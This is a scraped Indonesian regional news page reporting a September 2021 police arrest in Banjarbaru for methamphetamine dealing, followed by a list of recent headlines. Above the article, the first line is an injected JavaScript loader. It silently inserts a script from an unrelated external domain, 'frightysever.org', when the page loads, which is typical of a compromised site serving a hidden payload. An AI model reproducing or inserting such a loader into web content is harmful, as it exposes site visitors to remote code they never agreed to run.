(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Edarkan Sabu, Abang Kodok Dicokok Polres Banjarbaru di Rumahnya


KANALKALIMANTAN.COM, BANJARBARU –Polres Banjarbaru berhasil mengungkap peredaran sabu dengan menangkap seorang pria bernama Arianto alias Abang Kodok (33), warga Sidomulyo, Kelurahan Landasan Ulin Timur, Kecamatan Landasan Ulin, Kota Banjarbaru, Sabtu (25/9/2021).

“Pelaku berhasil diamankan karena diduga melakukan tindak pidana penyebaran dan penyalahgunaan Narkotika jenis sabu,” kata Kapolres Banjarbaru, AKBP Nur Khamid melalui Kasi Humas Polres Banjarbaru, AKP Tajuddin Noor, Minggu (26/9/2021).

Penangkapan Arianto bermula dari laporan masyarakat bahwa di depan phone cell Tryas yang beralamat di Jalan Rahayu Komplek Meranti Griya Asri, Kelurahan Mentaos telah terjadi peredaran narkoba.

Dari laporan tersebut anggota Sat Resnarkoba Polres Banjarbaru menuju ke lokasi dan mengamankan saksi Muhammad Nurhuda Alias Darkop serta barang bukti berupa 1 lembar plastik klip sabu dengan berat kotor 0,21 gram dan berat bersih 0,05 gram.

 

 

Baca juga : Tim Eksibisi Esports PES Kalsel Bawa Pulang Perak PON XX Papua

Tak hanya itu, polisi juga mendapati 1 (satu) batang pipet terbuat dari kaca yang di dalamnya terdapat sisa narkotika jenis sabu-sabu, 1 lembar plastik klips, 1 lembar kertas amplop warna putih, 1 unit sepeda motor merek Yamaha Mio warna putih DA 6809 WQ tanpa surat, 1 buah handphone merek ASUS warna hitam yang diduga milik Arianto.

“Dari keterangan saksi Tim berhasil mengetahui identitas pengedar bernama Arianto,” terangnya.

Kemudian tim melakukan pengembangan berdasarkan keterangan saksi dan berhasil mengamankan pelaku di rumahnya yang beralamat di Komplek Mustika Griya Permai, Blok E, Desa Cindai Alus, Kecamatan Martapura, Kabupaten Banjar.

“Pelaku dijerat Pasal 114 ayat (1) sub Pasal 112 ayat (1) UU RI No. 35 Tahun 2009 Tentang Narkotika, karena peredaran gelap dan penyalahgunaan Narkotika golongan I jenis sabu-sabu,” tutupnya.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.